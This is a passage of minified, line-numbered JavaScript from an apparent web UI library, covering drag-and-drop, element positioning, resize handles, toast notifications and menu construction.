4315 return t
4316 }
4317
4318 function m(e) {
4319 if ($.ghost) document.body.appendChild(i.ghost);
4320 else {
4321 var t = getComputedStyle(i.elem, null);
4322 if (h = i.elem.offsetLeft - (parseInt(t.marginLeft) || 0), y = i.elem.offsetTop - (parseInt(t.marginTop) || 0), "absolute" === $.position || "fixed" === $.position) i.elem.style.position = "fixed" == t.position ? "fixed" : "absolute", i.elem.style.boxSizing = i.elem.style.webkitBoxSizing = i.elem.style.MozBoxSizing = "border-box", i.elem.style.height = i.elem.offsetHeight + "px", i.elem.style.width = i.elem.offsetWidth + "px", i.elem.style.left = h + "px", i.elem.style.top = y + "px";
4323 else {
4324 var n = parseInt(t.left) || 0,
4325 o = parseInt(t.top) || 0;
4326 $.constrain && (z = z - y + o, w = w - y + o, b = b - h + n, N = N - h + n), h = n, y = o, i.elem.style.position = "relative", i.elem.style.left = h + "px", i.elem.style.top = y + "px"
4327 }
4328 i.elem.classList.add("ui_is_dragging")
4329 }
4330 $.onstart.call(i.elem, e), i.isDragging = !0
4331 }
4332
4333 function g(n, l) {
4334 c(n), i.elem = l || (s ? this : e);
4335 var a = o(n);
4336 if (v = a.x, x = a.y, $.ghost) {
4337 i.ghost = i.createGhost(i.elem);
4338 var u = i.elem.getBoundingClientRect();
4339 h = u.left, y = u.top
4340 } else i.ghost = null, h = i.elem.offsetLeft, y = i.elem.offsetTop;
4341 i.initialPos.x = h, i.initialPos.y = y, r(n), t("mousemove", r), t("touchmove", r), t("mouseup", d), t("touchend", d), t("contextmenu", c), $.oninit.call(i.elem, n)
4342 }
4343
4344 function d(e) {
4345 if (n("mousemove", r), n("touchmove", r), n("mouseup", d), n("touchend", d), n("contextmenu", c), i.isDragging) {
4346 var t = !1;
4347 $.zone && i.elem && (t = u(e)), t || $.ondrop.call(i.elem, e), $.onstop.call(i.elem, e)
4348 }
4349 i.elem && i.elem.classList.remove("ui_is_dragging"), i.zone = null, i.elem = null, i.initialPos.x = null, i.initialPos.y = null, i.x = null, i.y = null, i.cfg = null, i.isDragging = !1
4350 }
4351
4352 function c(e) {
4353 document.activeElement.blur(), e.preventDefault()
4354 }
4355 if ("object" == typeof s && (l = s, s = null), "string" == typeof e && (e = document.querySelector(e)), !e) throw new Error("$drag : element missing");
4356 var f, p, y, h, v, x, z, b, T, E, L, P = {
4357 constrain: !1,
4358 ghost: !1,
4359 grid: !1,
4360 position: "absolute",
4361 handle: null,
4362 distance: 5,
4363 oninit: $noop,
4364 onstart: $noop,
4365 ondrag: $noop,
4366 onstop: $noop,
4367 ondrop: $noop
4368 },
4369 $ = $extend(P, l),
4370 w = 0,
4371 N = 0,
4372 D = s ? $delegate(s, g) : g;
4373 if ("function" == typeof $.ghost && Object.defineProperty($, "ghost", {
4374 get: function() {
4375 return l.ghost($)
4376 }
4377 }), "function" == typeof $.grid && Object.defineProperty($, "grid", {
4378 get: l.grid
4379 }), i.elem = e, i.zone = null, i.isDragging = !1, s) L = e, T = E = e;
4380 else
4381 for (L = $.handle || e, E = T = e.parentNode; E.parentNode && 9 !== E.parentNode.nodeType && "static" == window.getComputedStyle(T, null).position;) E = E.parentNode;
4382 return z = E.offsetHeight - e.offsetHeight - .5, b = E.offsetWidth - e.offsetWidth - .5, L.addEventListener("mousedown", D, !1), L.addEventListener("touchstart", D, !1), {
4383 destroy: function() {
4384 i.isDragging = !1, i.removeGhost(), d(), L.removeEventListener("mousedown", D, !1), L.removeEventListener("touchstart", D, !1)
4385 }
4386 }
4387}
4388i.createGhost = function(e, t) {
4389 e.classList.add("ui_is_dragging");
4390 var n = e.cloneNode(!0),
4391 o = n.getElementsByTagName("*"),
4392 i = e.getElementsByTagName("*");
4393 n.style.cssText = getComputedStyle(e, null).cssText;
4394 for (var s = 0, l = o.length; s < l; s++) o[s].style.cssText = getComputedStyle(i[s], null).cssText, o[s].style.pointerEvents = "none";
4395 return n.classList.add("js-ghost"), n.style.pointerEvents = "none", n.style.position = "fixed", n.style.zIndex = 9999, n.style.opacity = ".7", e.classList.remove("ui_is_dragging"), n
4396}, i.initialPos = {
4397 x: null,
4398 y: null
4399}, i.revert = function(e, t) {
4400 $transition.revert(i.ghost || i.elem, i.initialPos, function() {
4401 i.ghost && i.removeGhost()
4402 })
4403}, i.removeGhost = function() {
4404 i.ghost && i.ghost.parentNode && i.ghost.parentNode === document.body && document.body.removeChild(i.ghost), i.ghost = null
4405}, e.$drag = i
4406}(this),
4407function(e) {
4408"use strict";
4409
4410function t(e) {
4411 console.log(e)
4412}
4413var n = function() {
4414 var e, t = document.createElement("div"),
4415 n = ["Webkit", "Moz", "O", "ms"];
4416 if ("transition" in t.style) return "transition";
4417 for (e = 0; e < n.length; e++)
4418 if (n[e] + "Transition" in t.style) return n[e] + "Transition";
4419 return "transition"
4420}();
4421t.revert = function(e, t, o, i) {
4422 if (void 0 === i && (i = 300), e && null !== t.x) {
4423 var s = e.style[n];
4424 e.style[n] = "left " + i + "ms ease, top " + i + "ms ease", e.style.left = t.x + "px", e.style.top = t.y + "px", setTimeout(function() {
4425 e.style[n] = s, "function" == typeof o && o()
4426 }, i)
4427 }
4428}, e.$transition = t
4429}(this);
4430//js/ui/pos.js
4431! function(t) {
4432"use strict";
4433
4434function e(t, e, n) {
4435 return t = t.replace(/([a-z]+)([+-])?/g, function(t, e, o) {
4436 return ("top" == e ? "bottom" : "bottom" == e ? "top" : "right" == e ? "left" : "left" == e ? "right" : e) + ("+" == o ? "-" : "-" == o ? "+" : "")
4437 }), o(t, e, n)
4438}
4439
4440function o(t, e, o) {
4441 var n = o || {
4442 top: 0,
4443 left: 0
4444 },
4445 f = e.offsetHeight || 0,
4446 i = e.offsetWidth || 0;
4447 return t.replace(/(?:(right|left|center)(?:([+-])(\d+)(%)?)?)? ?(?:(top|bottom|center)(?:([+-])(\d+)(%)?)?)?/, function(t, e, o, l, r, p, s, a, u) {
4448 p || (p = "center"), e || (e = "center"), "right" == e && (n.left += i), "center" == e && (n.left += i / 2), "bottom" == p && (n.top += f), "center" == p && (n.top += f / 2), r && (l = i / 100 * +l), u && (a = f / 100 * +a), l && (n.left = n.left - +(o + l)), a && (n.top = n.top - +(s + a))
4449 }), n
4450}
4451
4452function n(t, n) {
4453 function f(t) {
4454 if (t || (t = d.of), 1 === t.nodeType) {
4455 var e = t.getBoundingClientRect();
4456 s = e.left, a = e.top
4457 } else t.preventDefault && (s = t.pageX, a = t.pageY);
4458 p(s, a, s, a)
4459 }
4460 if (!t) throw new Error("$pos: element is undefined");
4461 t.style.position = "fixed";
4462 for (var i = t.parentNode, l = window.getComputedStyle(i, null), r = {
4463 top: 0,
4464 left: 0
4465 }; i.parentNode && 9 !== i.parentNode.nodeType && "none" == l.transform && "none" == l.perspective;) i.getAttribute("data-ui-menu-scroller") && i, i = i.parentNode, l = window.getComputedStyle(i, null);
4466 r = i.getBoundingClientRect();
4467 var p, s, a, u = {
4468 my: "left top",
4469 at: "left bottom",
4470 of: {},
4471 collision: "flip",
4472 within: window,
4473 transform: !1,
4474 overflow: "none"
4475 },
4476 d = $extend(u, n),
4477 c = o(d.my, t),
4478 h = o(d.at, d.of),
4479 g = h.top - c.top - r.top,
4480 w = h.left - c.left - r.left,
4481 y = {
4482 x: 0,
4483 y: 0,
4484 h: 0,
4485 w: 0
4486 },
4487 m = {};
4488 $io.isWindow(d.within) || !d.within ? (y.h = window.innerHeight, y.w = window.innerWidth) : (m = d.within.getBoundingClientRect(), y.x = m.left, y.y = m.top, y.h = d.within.offsetHeight, y.w = d.within.offsetWidth), t.offsetHeight > y.h && function() {
4489 var e, o = d.of.getBoundingClientRect().top - y.y,
4490 n = y.h - o - d.of.offsetHeight;
4491 e = t.parentNode.isEqualNode(d.of) ? y.h : o > n ? o : n, t.style.height = e + "px", t.setAttribute("data-ui-menu-scroller", !0)
4492 }();
4493 var x = r.left == m.left ? 0 : m.left,
4494 v = r.top == m.top ? 0 : m.top,
4495 b = y.w - t.offsetWidth + x,
4496 C = y.h - t.offsetHeight + v;
4497 if (1 === d.of.nodeType) var T = window.getComputedStyle(d.of, null),
4498 H = T.transform || T.webkitTransform || T.MozTransform || T.msTransform;
4499 if (H && "none" != H) t.style.transformOrigin = T.transformOrigin, p = function() {
4500 var e, o, n, f;
4501 0 == r.left ? (e = m.left, o = m.top, n = w, f = g) : (e = 0, o = 0, n = w + m.left, f = g + m.top), t.style.left = d.of.offsetLeft + e + "px", t.style.top = d.of.offsetTop + o + "px", t.style.transform = H + " translateX(" + n + "px) translateY(" + f + "px)"
4502 };
4503 else if ("fit" == d.collision) p = function(e, o) {
4504 o += g, e = (e += w) > b ? b : e < x ? x : e, o = o > C ? C : o < v ? v : o, t.style.left = e + "px", t.style.top = o + "px"
4505 };
4506 else if ("flip" == d.collision || "flipfit" == d.collision) {
4507 var N = e(d.my, t),
4508 W = e(d.at, d.of),
4509 B = W.top - N.top - r.top,
4510 R = W.left - N.left - r.left;
4511 p = "flipfit" == d.collision ? function(e, o, n, f) {
4512 o += g, ((e += w) > b || e < x) && (e = n + R), (o > C || o < v) && (o = f + B), e = e > b ? b : e < x ? x : e, o = o > C ? C : o < v ? v : o, t.style.left = e + "px", t.style.top = o + "px"
4513 } : function(e, o, n, f) {
4514 o += g, ((e += w) > b || e < x) && (e = n + R), (o > C || o < v) && (o = f + B), t.style.left = e + "px", t.style.top = o + "px"
4515 }
4516 } else p = function(e, o) {
4517 t.style.left = e + w + "px", t.style.top = o + g + "px"
4518 };
4519 return f(d.of), {
4520 update: f
4521 }
4522}
4523t.$pos = n
4524}(this);
4525//js/ui/resize.js
4526! function(e) {
4527"use strict";
4528
4529function t(e, t) {
4530 document.documentElement.addEventListener(e, t, !1)
4531}
4532
4533function o(e, t) {
4534 document.documentElement.removeEventListener(e, t, !1)
4535}
4536
4537function n(e) {
4538 var t = e.changedTouches ? e.changedTouches[0] : null;
4539 return t ? {
4540 x: t.clientX,
4541 y: t.clientY
4542 } : {
4543 x: e.clientX,
4544 y: e.clientY
4545 }
4546}
4547
4548function s() {
4549 for (var e = document.querySelectorAll("iframe"), t = 0, o = e.length; t < o; t++) e[t].dataset.oldPointerEvents = e[t].style.pointerEvents, e[t].style.pointerEvents = "none"
4550}
4551
4552function r() {
4553 for (var e = document.querySelectorAll("iframe"), t = 0, o = e.length; t < o; t++) e[t].style.pointerEvents = e[t].dataset.oldPointerEvents, delete e[t].dataset.oldPointerEvents
4554}
4555
4556function i(e) {
4557 e.dataset.oldTransform = e.style.transitionDuration, e.style.transitionDuration = "0s"
4558}
4559
4560function l(e) {
4561 e.style.transitionDuration = e.dataset.oldTransform, delete e.dataset.oldTransform
4562}
4563
4564function u(e, u) {
4565 function y() {
4566 for (var e = 0, t = g.length; e < t; e++) g[e].destroy()
4567 }
4568 if ("string" == typeof e && (e = document.querySelector(e)), !e) throw new Error("$resize : element missing");
4569 if (!e.getAttribute("data-js-resize-init")) {
4570 e.setAttribute("data-js-resize-init", !0);
4571 for (var c = e.parentNode; c && c.parentNode && 9 !== c.parentNode.nodeType && "static" == window.getComputedStyle(c, null).position;) c = c.parentNode;
4572 "string" == typeof u && (u = {
4573 handles: u
4574 });
4575 var p = window.getComputedStyle(e, null),
4576 h = {
4577 handles: "e, s, se",
4578 onstart: a,
4579 onresize: a,
4580 onstop: a
4581 },
4582 f = $extend(h, u),
4583 m = "fixed" == p.position || "absolute" == p.position,
4584 v = e.getBoundingClientRect(),
4585 w = (v.top, v.left, []);
4586 "static" != p.position && "" != p.position || (e.style.position = "relative"), "all" == f.handles ? w = ["n", "w", "e", "s", "nw", "ne", "sw", "se"] : f.handles.replace(/([^,\s]+)/g, function(e, t) {
4587 w.push(t)
4588 });
4589 for (var g = [], x = 0, z = w.length; x < z; x++) g.push(function(e, u) {
4590 function a(e) {
4591 e.preventDefault(), e.stopPropagation(), c(e)
4592 }
4593
4594 function y(e) {
4595 e.preventDefault()
4596 }
4597
4598 function c(o) {
4599 var r = n(o);
4600 w = r.x, g = r.y, x = e.offsetWidth, z = e.offsetHeight, E = e.offsetTop, b = e.offsetLeft, t("mousemove", N), t("touchmove", N), t("mouseup", p), t("touchend", p), t("contextmenu", y), s(), i(e), document.documentElement.style.cursor = u + "-resize", f.onstart && f.onstart(e, o)
4601 }
4602
4603 function p(t) {
4604 document.documentElement.style.cursor = "auto", r(), l(e), o("mousemove", N), o("touchmove", N), o("mouseup", p), o("touchend", p), o("contextmenu", y), f.onstop && f.onstop(e, t)
4605 }
4606
4607 function h(t) {
4608 var o = n(t);
4609 if ("s" !== u && "se" !== u && "sw" !== u || (e.style.height = z + o.y - g + "px"), "e" !== u && "ne" !== u && "se" !== u || (e.style.width = x + o.x - w + "px"), "n" === u || "ne" === u || "nw" === u) {
4610 s = o.y - g;
4611 m && (e.style.top = E + s + "px"), e.style.height = z - s + "px"
4612 }
4613 if ("w" === u || "nw" === u || "sw" === u) {
4614 var s = o.x - w;
4615 m && (e.style.left = b + s + "px"), e.style.width = x - s + "px"
4616 }
4617 f.onresize && f.onresize(e, t)
4618 }
4619
4620 function v() {
4621 L.removeEventListener("mousedown", a, !1), L.removeEventListener("touchstart", a, !1), L.parentNode && L.parentNode.removeChild(L)
4622 }
4623 var w, g, x, z, E, b, N, L = d.cloneNode(),
4624 u = u || "s";
4625 try {
4626 N = $io.fn.throttle(h, 15)
4627 } catch (e) {
4628 N = h
4629 }
4630 return L.className = "js-resizer js-resizer-" + u, "n" == u ? (L.style.bottom = "auto", L.style.height = "6px", L.style.cursor = "n-resize") : "s" == u ? (L.style.top = "auto", L.style.height = "6px", L.style.cursor = "s-resize") : "e" == u ? (L.style.left = "auto", L.style.width = "6px", L.style.cursor = "e-resize") : "w" == u ? (L.style.right = "auto", L.style.width = "6px", L.style.cursor = "w-resize") : "nw" == u ? (L.style.bottom = "auto", L.style.right = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "nw-resize") : "ne" == u ? (L.style.bottom = "auto", L.style.left = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "ne-resize") : "sw" == u ? (L.style.top = "auto", L.style.right = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "sw-resize") : "se" == u && (L.style.top = "auto", L.style.left = "auto", L.style.height = "6px", L.style.width = "6px", L.style.cursor = "se-resize"), e.appendChild(L), L.addEventListener("mousedown", a, !1), L.addEventListener("touchstart", a, !1), {
4631 destroy: v
4632 }
4633 }(e, w[x]));
4634 return {
4635 destroy: y
4636 }
4637 }
4638}
4639var a = e.$noop || function(e) {},
4640 d = document.createElement("div");
4641d.style.position = "absolute", d.style.zIndex = "999", d.style.top = "0", d.style.bottom = "0", d.style.left = "0", d.style.right = "0", d.style.pointerEvents = "auto", e.$resize = u
4642}(this);
4643//js/ui/notif.js
4644! function(e) {
4645"use strict";
4646
4647function t(e, t) {
4648 e.className = "ui_notif animated fadeOut", setTimeout(function() {
4649 e.parentNode && e.parentNode.removeChild(e)
4650 }, t ? 150 : 500)
4651}
4652
4653function n(e, n) {
4654 function o() {
4655 h = setTimeout(function() {
4656 t(c)
4657 }, v + 2e3)
4658 }
4659 "string" == typeof e && ("string" == typeof n ? (e = {
4660 title: e,
4661 text: n
4662 }, n = null) : e = {
4663 text: e
4664 });
4665 var a = $extend({}, i, e);
4666 n || (n = a.default);
4667 var l = a.dest;
4668 a.text = a.text || a.description || a.body || "";
4669 var u, s = n.getAttribute("data-js-notif-id");
4670 if (s) u = d[s];
4671 else {
4672 u = document.createElement("div"), l.appendChild(u), u.style.zIndex = 99999;
4673 m = n.getBoundingClientRect();
4674 u.style.position = "fixed", u.style.bottom = window.innerHeight - ~~(m.top + m.height / 2) + "px", u.style.right = window.innerWidth - ~~(m.left + m.width / 2) + "px", n.setAttribute("data-js-notif-id", d.push(u) - 1)
4675 }
4676 var c = document.createElement("div"),
4677 r = document.createElement("b"),
4678 m = document.createElement("p"),
4679 f = document.createElement("span");
4680 c.style.visibility = "hidden", c.className = "ui_notif", f.innerHTML = "×";
4681 var p = 0;
4682 a.title && (r.innerHTML = a.title, c.appendChild(r), p += a.title.length), m.innerHTML = a.text, p += a.text.length, c.appendChild(m), c.appendChild(f), f.onclick = function() {
4683 t(c, !0)
4684 }, !1 !== a.delay && (c.onmouseover = function() {
4685 clearTimeout(h)
4686 }, c.onmouseout = function() {
4687 o()
4688 }), setTimeout(function() {
4689 c.style.visibility = "visible", c.className = "ui_notif animated fadeIn"
4690 }, 100), u.appendChild(c), p /= 5;
4691 var h, v = a.speed || p / 3 * 1e3;
4692 !1 !== a.delay && o()
4693}
4694var i = {
4695 default: document.body,
4696 dest: document.body
4697 },
4698 d = [];
4699document.createElement("div");
4700n.config = function(e) {
4701 $extend(i, e)
4702}, e.$notif = n
4703}(this);
4704//js/ui/menu.js
4705! function(e) {
4706"use strict";
4707
4708function t(e) {
4709 e.setAttribute("aria-hidden", !1), e.setAttribute("aria-expanded", !0), e.classList.add("ui_menu--open")
4710}
4711
4712function i(e) {
4713 e.setAttribute("aria-hidden", !0), e.setAttribute("aria-expanded", !1), e.classList.remove("ui_menu--open")
4714}
4715
4716function n(e, n) {
4717 n.classList.contains("ui_menu--open") ? (i(n), e.classList.remove("ui_menu__item--focus")) : t(n)
4718}
4719
4720function o(e) {
4721 function t(i) {
4722 for (var n = i.target; n && n.id !== e;) n = n.parentNode;
4723 n || (r(), document.removeEventListener("mousedown", t, !0), y[e] = !1)
4724 }
4725 y[e] || (y[e] = !0, document.addEventListener("mousedown", t, !0))
4726}
4727
4728function r(e) {
4729 var t = !0;
4730 "select" === e && (t = !1, e = null);
4731 var n = (e || document).querySelectorAll(".ui_menu__item--focus"),
4732 o = (e || document).querySelectorAll(".ui_menu--open"),
4733 r = (e || document).querySelectorAll(".ui_menu--scroller");
4734 $io.arr.all(n, function(e) {
4735 L[e.parentNode.parentNode.id] = !1, e.classList.remove("ui_menu__item--focus")
4736 }), $io.arr.all(o, function(e) {
4737 i(e)
4738 }), $io.arr.all(r, function(e) {
4739 e.removeAttribute("style"), e.classList.remove("ui_menu--scroller"), e.classList.contains("ui_menu--scroller--active") && e.classList.remove("ui_menu--scroller--active"), e.removeEventListener("mouseover", s, !1)
4740 }), e || (t && c.current && c.current.cfg && c.current.cfg.oncancel && c.current.cfg.oncancel(), c.current && c.current.cfg && c.current.cfg.onclose && c.current.cfg.onclose(), c.current = null)
4741}
4742
4743function s(e) {
4744 e.target.matches(".ui_menu__right_handler") ? this.classList.remove("ui_menu--scroller--active") : this.classList.add("ui_menu--scroller--active")
4745}
4746
4747function a(e) {
4748 e.addEventListener("mouseover", s, !1), e.querySelector(".ui_menu__up_handler").addEventListener("mouseover", s, !1)
4749}
4750
4751function u(e, t) {
4752 if (e.fireEvent) e.fireEvent("on" + t);
4753 else {
4754 var i = document.createEvent("Events");
4755 i.initEvent(t, !0, !1), e.dispatchEvent(i)
4756 }
4757}
4758
4759function c(e, s, u) {
4760 function h(e) {
4761 $io.obj.all(e, function(e) {
4762 e.key && (M[e.key] = function() {
4763 return e.action.apply(this, arguments)
4764 }), "function" != typeof e.items && h(e.items)
4765 })
4766 }
4767
4768 function b(e, t, n, o) {
4769 if (!1 === (n = "function" == typeof n ? n.call(t.thisArg) : n)) return !1;
4770 var r = document.createDocumentFragment(),
4771 s = l.cloneNode(!1),
4772 a = d.cloneNode(!1);
4773 if (s.appendChild(a), s.id = "ui_menu_" + f++, !n) return !1;
4774 for (var u = 0, c = n.length; u < c; u++)
4775 if (n[u] && !1 !== ("function" == typeof n[u].display ? n[u].display.call(t.thisArg) : n[u].display)) {
4776 var v = n[u],
4777 g = m.cloneNode(!1);
4778 if ("---" !== v.name) {
4779 g.id = "ui_menu__item_" + _++;
4780 var h = p.cloneNode(!1),
4781 L = document.createElement("span"),
4782 A = document.createElement("span"),
4783 x = null;
4784 if (A.className = "ui_menu__item__ico", void 0 !== v.radio ? (A.className = "ui_menu__item__ico ui_form-ico-radio", x = y(v.radio, g, v.action)) : !0 === v.checkbox && (A.className = "ui_menu__item__ico ui_form-ico-checkbox", x = E(g, v.action)), h.innerHTML = "string" == typeof v.name ? v.name : v, v.icon) {
4785 if (0 === v.icon.indexOf("."))(w = document.createElement("div")).className = "ui_menu__item__ico", v.icon.split(".").forEach(function(e) {
4786 w.classList.add(e)
4787 });
4788 else if (0 === v.icon.indexOf("<"))(w = document.createElement("div")).className = "ui_menu__item__ico", w.innerHTML = v.icon;
4789 else {
4790 var w = new Image;
4791 w.src = v.icon
4792 }
4793 A.appendChild(w)
4794 } else A.innerHTML = " ";
4795 if (g.appendChild(A), g.appendChild(h), v.key && (L.innerHTML = v.key.replace(/(\+|^)[a-z]/g, function(e) {
4796 return e.toUpperCase()
4797 }), L.className = "ui_menu__item__key", g.appendChild(L)), q[g.id] = {
4798 item: g,
4799 val: v,
4800 action: x || v.action
4801 }, N(e, g, v), v.items) {
4802 g.setAttribute("aria-haspopup", !0), g.classList.add("ui_menu__item--opener");
4803 var C = function(e, t, n, o) {
4804 return function() {
4805 var r = b(e, t, n.items, n);
4806 r || ((r = document.createElement("div")).innerHTML = '<ul><li class="ui_menu__item ui_menu__item--disabled"><em>No items...</em></ul></li>'), r.className = "ui_menu__submenu", !1 !== t.position && i(r), o.appendChild(r)
4807 }
4808 }(e, t, v, g);
4809 !0 === t.recursive ? C() : S[g.id] = C
4810 }
4811 r.appendChild(g)
4812 } else g.className = "ui_menu__separator", g.appendChild(document.createElement("hr")), r.appendChild(g)
4813 }
4814 return a.appendChild(r), s
4815 }
4816
4817 function y(e, t, i) {
4818 function n() {
4819 for (var n, o = j[e], r = 0, s = o.length; r < s; r++) o[r].setAttribute("data-menuitem-selected", !1), "function" != typeof(n = q[o[r].id].val).selected && (n.selected = !1);
4820 "function" != typeof(n = q[t.id].val).selected && (n.selected = !0), t.setAttribute("data-menuitem-selected", !0), i && i.call(this, n)
4821 }
4822 return j[e] ? j[e].push(t) : j[e] = [t], n
4823 }
4824
4825 function E(e, t) {
4826 function i() {
4827 var i = "true" === e.getAttribute("data-menuitem-selected");
4828 e.setAttribute("data-menuitem-selected", !i);
4829 var n = q[e.id].val;
4830 if ("function" != typeof n.selected && (n.selected = !i), t) return t.call(this, !i)
4831 }
4832 return i
4833 }
4834
4835 function N(e, t, i) {
4836 var n = "function" == typeof i.display ? i.display.call(X.thisArg) : i.display,
4837 o = "function" == typeof i.disabled ? i.disabled.call(X.thisArg) : i.disabled,
4838 r = "function" == typeof i.selected ? i.selected.call(X.thisArg) : i.selected;
4839 t.style.display = !1 === n ? "none" : "", o ? t.classList.add("ui_menu__item--disabled") : t.classList.remove("ui_menu__item--disabled"), t.setAttribute("data-menuitem-selected", r)
4840 }
4841
4842 function x(e) {
4843 for (var t in q)
4844 if (q.hasOwnProperty(t)) {
4845 var i = q[t];
4846 N(e, i.item, i.val)
4847 }
4848 }
4849
4850 function w(i) {
4851 if (i && (i.stopImmediatePropagation(), i.preventDefault()), !k.classList.contains("ui_menu--open")) {
4852 X.solo && r(), c.current = F, t(k), k.style.zIndex = $maxZ(".ui_menu, .ui_icon, .ui_window").num + 1;
4853 var n = {
4854 collision: "flip",
4855 of: X.position.of || e,
4856 within: X.position.within
4857 };
4858 X.position.my && (n.my = X.position.my), X.position.at && (n.at = X.position.at), R = $pos(k, n), k.getAttribute("data-ui-menu-scroller") && C(k), o(k.id)
4859 }
4860 }
4861
4862 function C(e) {
4863 function t() {
4864 0 === e.scrollTop ? i.disabled = !0 : i.disabled = !1, e.scrollHeight - e.scrollTop === e.clientHeight ? n.disabled = !0 : n.disabled = !1
4865 }
4866 var i, n, o, r;
4867 if (e.classList.contains("ui_menu--scroller--active") && e.classList.remove("ui_menu--scroller--active"), e.classList.add("ui_menu--scroller"), 1 == e.childNodes.length) {
4868 i = document.createElement("button"), n = document.createElement("button"), o = document.createElement("div"), i.className = "ui_menu__up_handler", n.className = "ui_menu__down_handler", o.className = "ui_menu__right_handler";
4869 var s = e.firstChild.offsetWidth;
4870 i.style.width = n.style.width = s + "px", e.appendChild(i), e.appendChild(n), e.appendChild(o), r = e.getBoundingClientRect(), i.style.top = r.top + "px", n.style.bottom = window.innerHeight - e.offsetHeight - r.top + "px", o.style.left = r.left + s + "px", i.onclick = function() {
4871 e.scrollTop -= 80, t()
4872 }, n.onclick = function() {
4873 e.scrollTop += 80, t()
4874 }, e.onscroll = function() {
4875 t()
4876 }, t()
4877 }
4878 a(e)
4879 }
4880
4881 function $(e) {
4882 for (var i = e.target; i && "LI" !== i.tagName;) i = i.parentNode;
4883 i && (!1 !== X.position && i.classList.contains("ui_menu__item--focus") || i.classList.contains("ui_menu__item--disabled") || $io.arr.each(i.parentNode.childNodes, function(s) {
4884 if (s.id == i.id) {
4885 if (X.closeOthers && r(s), "bar" == X.mode && !L[k.id] && i.parentNode.parentNode.id == k.id) return;
4886 if (s.classList.add("ui_menu__item--focus"), s.classList.contains("ui_menu__item--opener") && !s.classList.contains("ui_menu__item--disabled")) {
4887 S[i.id] && S[i.id]();
4888 var a = s.lastChild;
4889 if (!1 === X.position) n(s, a);
4890 else {
4891 a.style.position = "fixed", t(a);
4892 var u = "bar" == X.mode && i.parentNode.parentNode.id == k.id;
4893 if ($pos(a, {
4894 my: "left top-1",
4895 at: u ? "left bottom" : "right top",
4896 of: s,
4897 collision: "flipfit",
4898 within: X.position.within || window
4899 }), a.getAttribute("data-ui-menu-scroller") && C(a), X.aim) {
4900 var c = a.getBoundingClientRect();
4901 u ? e.pageY < c.bottom ? v(s, e.pageX, e.pageY, c.left, c.top, c.right, c.top) : v(s, e.pageX, e.pageY, c.left, c.bottom, c.right, c.bottom) : e.pageX < c.left ? v(s, e.pageX, e.pageY, c.left, c.top, c.left, c.bottom) : v(s, e.pageX, e.pageY, c.right, c.top, c.right, c.bottom)
4902 }
4903 o(k.id)
4904 }
4905 } else g(!0)
4906 } else X.closeOthers && (s.classList.remove("ui_menu__item--focus"), r(s))
4907 }))
4908 }
4909
4910 function T(e) {
4911 var t = this;
4912 if ("bar" == X.mode && (L[k.id] ? (L[k.id] = !1, r()) : (L[k.id] = !0, $(e))), !t.classList.contains("ui_menu__item--disabled")) {
4913 var i = q[t.id].action,
4914 n = typeof i;
4915 !Y || "string" != n && "function" != n || (P.innerHTML = "function" == n ? i.call(X.thisArg) : i, r()), "function" == n && !1 !== i.call(X.thisArg, e, q[t.id].val) && r("select")
4916 }
4917 }
4918 $io.isElement(e) || (u = s || {}, s = e, e = document.createElement("div")), s || (s = []);
4919 var k, H = "tree" === u.mode ? $extend({}, A, {
4920 closeOthers: !1,
4921 trigger: "click",
4922 position: !1
4923 }) : "bar" === u.mode ? $extend({}, A, {}) : A,
4924 X = $extend({}, H, u),
4925 Y = !1,
4926 O = !1,
4927 S = {},
4928 q = {};
4929 "tabs" === X.mode && (Y = !0, X.mode = "bar"), "context" === X.mode && (O = !0, X.mode = "popup"), X.thisArg || (X.thisArg = e);
4930 var M = {};
4931 h(s);
4932 var I, z = $key(X.keyTarget || e).config({
4933 thisArg: X.thisArg,
4934 uniqueCombo: !0
4935 }).combo(M);
4936 if (X.key) {
4937 var B = {};
4938 B[X.key] = function() {
4939 w()
4940 }, I = $key().combo(B)
4941 }
4942 e.classList.add("ui_menu_trigger"), (k = b(e, X, s)).className = "ui_menu ui_menu--" + ("inline" === X.mode || "popup" === X.mode ? "menu" : X.mode), k.setAttribute("tabindex", "0"), k.style.zIndex = $maxZ(".ui_menu", k.parentNode).num + 1;
4943 var P;
4944 "popup" !== X.mode ? Y ? (e.appendChild(k), X.dest ? P = X.dest : ((P = document.createElement("div")).className = "ui_menu--tabs__content", e.appendChild(P))) : e.appendChild(k) : (document.body.appendChild(k), k.classList.add("ui_menu--popup"), i(k), O ? e.addEventListener("contextmenu", w, !1) : "auto" === X.trigger ? w() : X.trigger && e.addEventListener("click", w, !1));
4945 var R, j = {},
4946 D = "auto" == X.trigger ? "mouseover" : X.trigger;
4947 D || (D = "mouseover"), k.addEventListener(D, $, !1), k.onfocus = function(e) {
4948 var t = k.querySelector(".ui_menu__item");
4949 T.call(t, {
4950 target: t
4951 })
4952 }, L[k.id] = !1, k.onblur = function(e) {
4953 r()
4954 }, $el(k).on("click", ".ui_menu__item", T);
4955 var F = {
4956 cfg: X,
4957 destroy: function() {
4958 $el(k).off("click", ".ui_menu__item", T), k.removeEventListener(D, $, !1), S = null, q = null, z && z.destroy && z.destroy(), I && I.destroy && I.destroy()
4959 },
4960 refresh: function(e) {
4961 e && (X.thisArg = e), x(X.thisArg)
4962 },
4963 show: function(e, t) {
4964 e && (X.thisArg = e, z.config({
4965 thisArg: e
4966 }), x(e)), t && (X.position = t), w()
4967 },
4968 setThisArg: function(e) {
4969 e && (X.thisArg = e, x(e))
4970 },
4971 key: z,
4972 position: R
4973 };
4974 return F
4975}
4976var l = document.createElement("div"),
4977 d = document.createElement("ul"),
4978 m = document.createElement("li"),
4979 p = document.createElement("span"),
4980 f = 0,
4981 _ = 0;
4982d.setAttribute("role", "menu"), m.setAttribute("role", "menuitem"), m.setAttribute("tabindex", "-1"), m.className = "ui_menu__item", p.className = "ui_menu__item__text";
4983var v, g, h, b, y = {},
4984 L = {};
4985! function() {
4986 function e() {
4987 clearTimeout(a), a = setTimeout(function() {
4988 o("fromTriangle")
4989 }, 100)
4990 }
4991
4992 function t(e, t) {
4993 if (f === y) return m < f ? f - e <= f - c : f - e >= f - c
4994 }
4995
4996 function i() {
4997 p >= A.top + 3 && p <= A.bottom - 3 && s.setAttribute("points", m + "," + p + " " + f + "," + _ + " " + y + "," + L)
4998 }
4999
5000 function n(e, t, i, n, o, s, a) {
